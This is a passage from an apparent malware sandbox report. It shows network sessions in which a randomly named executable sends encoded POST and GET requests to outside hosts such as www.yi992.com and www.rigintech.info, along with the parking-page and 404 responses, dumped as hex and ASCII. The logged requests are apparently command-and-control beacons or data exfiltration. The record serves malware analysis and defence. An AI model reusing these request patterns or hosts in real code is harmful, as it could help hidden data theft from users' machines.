data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_JdtAsr3waICb/+KzqtXRnUyhaAXfOwJfDtq2EI4D7jCLjy2JKV8Ho3IZDc6pbK8otNN9KrQv3nWJZ9wAJ3/JdA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 5, 2024 14:25:28.483275890 CEST	555	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMjg1MTYyMmYtMTQxMS00NTRmLWE2ZWMtNjEwMDg2MjNiZGM3IiwicGFnZV90aW1lIjoxNzI1NTM5MT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	57201	199.59.243.226	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:25:30.555933952 CEST	713	OUT	POST /iuti/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.yi992.com Connection: close Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.yi992.com Referer: http://www.yi992.com/iuti/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 73 71 76 37 6e 6c 39 4c 54 49 62 5a 61 4e 58 34 66 51 49 79 56 6e 42 7a 36 6b 4d 46 52 30 61 4d 5a 65 4a 6c 39 61 52 41 68 53 46 4b 79 65 61 44 53 43 67 33 63 66 75 56 39 4a 65 57 33 47 37 36 48 53 54 55 45 4a 38 51 6b 30 74 59 59 70 37 50 75 78 35 5a 6f 76 4c 2b 41 58 5a 54 47 38 65 67 66 6f 4c 50 72 5a 48 4b 76 30 78 44 78 2f 6e 33 31 46 69 66 39 45 6b 32 72 69 75 35 77 32 4a 6a 78 74 46 37 4b 7a 54 61 32 31 51 66 6a 55 75 69 70 4f 38 76 53 73 33 30 44 68 6b 48 75 31 44 58 46 6f 77 36 4f 65 75 30 7a 6f 42 44 42 4d 44 7a 2b 34 33 6f 71 72 4d 48 62 6f 35 61 58 6b 78 77 55 58 4f 6b 57 6e 44 4e 70 59 34 6d 6b 36 58 52 6e 33 35 73 37 52 6a 65 51 55 64 47 Data Ascii: V6h=sqv7nl9LTIbZaNX4fQIyVnBz6kMFR0aMZeJl9aRAhSFKyeaDSCg3cfuV9JeW3G76HSTUEJ8Qk0tYYp7Pux5ZovL+AXZTG8egfoLPrZHKv0xDx/n31Fif9Ek2riu5w2JjxtF7KzTa21QfjUuipO8vSs30DhkHu1DXFow6Oeu0zoBDBMDz+43oqrMHbo5aXkxwUXOkWnDNpY4mk6XRn35s7RjeQUdG
Sep 5, 2024 14:25:31.040836096 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 05 Sep 2024 12:25:30 GMT content-type: text/html; charset=utf-8 content-length: 1102 x-request-id: 7f33cd8c-2b95-41dd-aa6e-54739a3138f8 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_JdtAsr3waICb/+KzqtXRnUyhaAXfOwJfDtq2EI4D7jCLjy2JKV8Ho3IZDc6pbK8otNN9KrQv3nWJZ9wAJ3/JdA== set-cookie: parking_session=7f33cd8c-2b95-41dd-aa6e-54739a3138f8; expires=Thu, 05 Sep 2024 12:40:30 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4a 64 74 41 73 72 33 77 61 49 43 62 2f 2b 4b 7a 71 74 58 52 6e 55 79 68 61 41 58 66 4f 77 4a 66 44 74 71 32 45 49 34 44 37 6a 43 4c 6a 79 32 4a 4b 56 38 48 6f 33 49 5a 44 63 36 70 62 4b 38 6f 74 4e 4e 39 4b 72 51 76 33 6e 57 4a 5a 39 77 41 4a 33 2f 4a 64 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_JdtAsr3waICb/+KzqtXRnUyhaAXfOwJfDtq2EI4D7jCLjy2JKV8Ho3IZDc6pbK8otNN9KrQv3nWJZ9wAJ3/JdA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 5, 2024 14:25:31.040862083 CEST	555	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiN2YzM2NkOGMtMmI5NS00MWRkLWFhNmUtNTQ3MzlhMzEzOGY4IiwicGFnZV90aW1lIjoxNzI1NTM5MT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	57202	199.59.243.226	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:25:33.087347031 CEST	1730	OUT	POST /iuti/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.yi992.com Connection: close Content-Length: 1240 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.yi992.com Referer: http://www.yi992.com/iuti/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 73 71 76 37 6e 6c 39 4c 54 49 62 5a 61 4e 58 34 66 51 49 79 56 6e 42 7a 36 6b 4d 46 52 30 61 4d 5a 65 4a 6c 39 61 52 41 68 53 39 4b 79 50 36 44 51 6c 38 33 66 66 75 56 7a 70 65 4c 33 47 36 71 48 54 37 51 45 4a 41 71 6b 79 78 59 58 71 44 50 2b 56 6c 5a 6e 76 4c 2b 66 48 5a 57 62 4d 65 50 66 6f 62 4c 72 5a 58 4b 76 30 78 44 78 38 2f 33 31 55 69 66 78 6b 6b 78 39 53 75 31 30 32 49 4b 78 75 31 72 4b 7a 58 56 33 45 77 66 74 55 2b 69 6f 34 51 76 65 73 33 71 43 52 6b 50 75 31 50 79 46 73 51 63 4f 66 62 52 7a 6f 35 44 43 35 32 4f 72 49 72 58 34 4c 70 69 56 59 39 2f 46 42 4a 47 4c 46 2b 49 56 42 54 55 6d 38 77 31 73 38 75 53 72 56 45 58 6d 55 6e 45 55 6b 73 63 4f 65 68 61 53 31 76 68 51 53 6e 4d 6d 50 72 35 6b 38 47 66 4d 70 54 49 59 77 6f 4f 64 4a 65 77 44 62 53 5a 38 52 78 48 49 30 4b 58 6c 79 69 43 6d 32 66 49 61 73 61 50 6d 62 62 56 2f 56 2b 58 43 56 39 33 42 4b 35 77 2f 59 59 67 4d 6d 75 4b 35 33 74 67 66 2f 46 62 41 6f 61 43 57 55 42 65 59 65 49 6e 4f 53 4f 76 33 70 74 58 2b 2f 43 54 4b 42 [TRUNCATED] Data Ascii: V6h=sqv7nl9LTIbZaNX4fQIyVnBz6kMFR0aMZeJl9aRAhS9KyP6DQl83ffuVzpeL3G6qHT7QEJAqkyxYXqDP+VlZnvL+fHZWbMePfobLrZXKv0xDx8/31Uifxkkx9Su102IKxu1rKzXV3EwftU+io4Qves3qCRkPu1PyFsQcOfbRzo5DC52OrIrX4LpiVY9/FBJGLF+IVBTUm8w1s8uSrVEXmUnEUkscOehaS1vhQSnMmPr5k8GfMpTIYwoOdJewDbSZ8RxHI0KXlyiCm2fIasaPmbbV/V+XCV93BK5w/YYgMmuK53tgf/FbAoaCWUBeYeInOSOv3ptX+/CTKB6M+1gMNpkQG2mZgz8svBagx7tBdqoPn8oamyJLmjCGKBmDfUtCePv9vGQkSDxbUFq+FnZD+8GKJM/suO52AvyKKg5l1mBfc9FwwaBenSToAG6P5uwn2P0o3aymQx1r2pwo08XPJV3DDKsTY5plDjTb8I7+jFOW/jwaKocbLcpVyKx3qFd6e98kxvKCff2Qza3jwy3Obgh7uC4cvQfudngyYSjF4XMppxylHq/M74H9WF4uWqElenRtud1qtf2el7duIP5Vc/6elbJeRPwd/sEwox/8bOqKwe6lo5F+1lYrk3m49UyBD4E3QgkDbcu5M3B2gTvAhZd9HkePfdkJ0FqRVssxWxCYH3Gx5JEsEMDfbknf0c8idAAMjS1PL7dQV9e9FeqfAcygB9Oy0n0ZEuAw6SMwVSDOB+bVLrwaqpfHRc4YnJNHyOFhdCF+5nX1o/5C/FRO7n6xRnuR+s9Uz02LIpQD3Tr33G5sRRWLIR+ypt9fUIou0GR5lmmXgRyHaFo9C8VdJZsh9KZYeunC6SkuvgrS5B9Qt70O/Ozjr4NRYCwiykKdUy/JiLdedI6+ZZG7d1Pb9SHZD0jxdnvoFGJoGUDnpVB90KvOIW4Enr9UPlHcY3075wmjxkPqcgK22ASwdIwOxBvhy1z0sCRk3Zf8PtNrlTQ3a1Tz [TRUNCATED]
Sep 5, 2024 14:25:33.547557116 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 05 Sep 2024 12:25:32 GMT content-type: text/html; charset=utf-8 content-length: 1102 x-request-id: cffc873e-ec61-44b9-801c-7b2c164572da cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_JdtAsr3waICb/+KzqtXRnUyhaAXfOwJfDtq2EI4D7jCLjy2JKV8Ho3IZDc6pbK8otNN9KrQv3nWJZ9wAJ3/JdA== set-cookie: parking_session=cffc873e-ec61-44b9-801c-7b2c164572da; expires=Thu, 05 Sep 2024 12:40:33 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4a 64 74 41 73 72 33 77 61 49 43 62 2f 2b 4b 7a 71 74 58 52 6e 55 79 68 61 41 58 66 4f 77 4a 66 44 74 71 32 45 49 34 44 37 6a 43 4c 6a 79 32 4a 4b 56 38 48 6f 33 49 5a 44 63 36 70 62 4b 38 6f 74 4e 4e 39 4b 72 51 76 33 6e 57 4a 5a 39 77 41 4a 33 2f 4a 64 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_JdtAsr3waICb/+KzqtXRnUyhaAXfOwJfDtq2EI4D7jCLjy2JKV8Ho3IZDc6pbK8otNN9KrQv3nWJZ9wAJ3/JdA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 5, 2024 14:25:33.547616959 CEST	555	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiY2ZmYzg3M2UtZWM2MS00NGI5LTgwMWMtN2IyYzE2NDU3MmRhIiwicGFnZV90aW1lIjoxNzI1NTM5MT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	57203	199.59.243.226	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:25:35.622976065 CEST	444	OUT	GET /iuti/?V6h=hoHbkVcpbob4KKGwTSg4Qmxuxm4KO3ujR6NVpJZRiS90gufBWzA0W/yR6JGFw3H3NTWRULQgnx1gCbPTi357oLTiVxRhMsTUHJ+Wl6jWlVJ6tv3Z5Sqw5Cg13CqV209vow==&sH=nVVHdDTx2PSTVJ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US Host: www.yi992.com Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Sep 5, 2024 14:25:36.174249887 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 05 Sep 2024 12:25:35 GMT content-type: text/html; charset=utf-8 content-length: 1482 x-request-id: 2a5ae1b9-0f78-435c-9c7c-c2f912c89954 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_tZq9GE0sSpNiVN5+4DgzsVny9iEIv4u4RWJJWZwFIQcSqVhmHkmg1pWvll9Z/mNhN0xHkQUvaY2ftgGPsqZ9oA== set-cookie: parking_session=2a5ae1b9-0f78-435c-9c7c-c2f912c89954; expires=Thu, 05 Sep 2024 12:40:36 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 74 5a 71 39 47 45 30 73 53 70 4e 69 56 4e 35 2b 34 44 67 7a 73 56 6e 79 39 69 45 49 76 34 75 34 52 57 4a 4a 57 5a 77 46 49 51 63 53 71 56 68 6d 48 6b 6d 67 31 70 57 76 6c 6c 39 5a 2f 6d 4e 68 4e 30 78 48 6b 51 55 76 61 59 32 66 74 67 47 50 73 71 5a 39 6f 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_tZq9GE0sSpNiVN5+4DgzsVny9iEIv4u4RWJJWZwFIQcSqVhmHkmg1pWvll9Z/mNhN0xHkQUvaY2ftgGPsqZ9oA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 5, 2024 14:25:36.174282074 CEST	935	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMmE1YWUxYjktMGY3OC00MzVjLTljN2MtYzJmOTEyYzg5OTU0IiwicGFnZV90aW1lIjoxNzI1NTM5MT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	57204	162.0.213.94	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:25:50.058168888 CEST	708	OUT	POST /ig9u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.rigintech.info Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.rigintech.info Referer: http://www.rigintech.info/ig9u/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 4f 75 7a 35 45 31 59 56 63 44 4b 73 61 2b 58 49 57 66 66 75 4d 30 63 36 46 71 4d 71 2f 59 62 7a 34 4a 72 51 79 48 41 6e 77 67 5a 49 4a 45 44 52 6a 6b 31 72 37 47 76 44 35 45 43 6c 50 76 79 70 4a 6a 35 49 68 6b 4b 64 2f 74 33 73 65 59 38 4d 59 4c 32 2f 55 41 6a 6b 42 34 54 68 77 64 49 33 43 46 6c 59 4d 4f 5a 69 7a 33 42 70 78 4c 6b 51 4c 77 37 6b 47 69 79 45 48 47 69 65 65 6f 6f 2b 47 78 33 68 70 4e 55 31 5a 74 54 30 52 61 4a 45 34 34 4d 5a 4d 42 53 34 54 6e 36 4c 6b 68 42 50 4b 78 33 4d 43 38 69 33 58 76 32 57 6d 76 67 59 41 4b 68 57 50 37 47 42 55 54 6f 51 4a 6b 32 75 73 79 4f 46 55 61 4d 3d Data Ascii: V6h=Ouz5E1YVcDKsa+XIWffuM0c6FqMq/Ybz4JrQyHAnwgZIJEDRjk1r7GvD5EClPvypJj5IhkKd/t3seY8MYL2/UAjkB4ThwdI3CFlYMOZiz3BpxLkQLw7kGiyEHGieeoo+Gx3hpNU1ZtT0RaJE44MZMBS4Tn6LkhBPKx3MC8i3Xv2WmvgYAKhWP7GBUToQJk2usyOFUaM=
Sep 5, 2024 14:25:50.658869028 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 05 Sep 2024 12:25:50 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Sep 5, 2024 14:25:50.658911943 CEST	1236	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
Sep 5, 2024 14:25:50.658925056 CEST	1236	IN	Data Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
Sep 5, 2024 14:25:50.658937931 CEST	1236	IN	Data Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
Sep 5, 2024 14:25:50.658951044 CEST	896	IN	Data Raw: 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32 35 30 30 34 37 2c 38 2e 35 38 33 36 38 20 32 Data Ascii: 2,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000000;stroke-widt
Sep 5, 2024 14:25:50.659126997 CEST	1236	IN	Data Raw: 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e 39 33 37 35 2c 31 32 34 2e 30 39 39 39 38 20 Data Ascii: /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.66653,18.58299 3.08
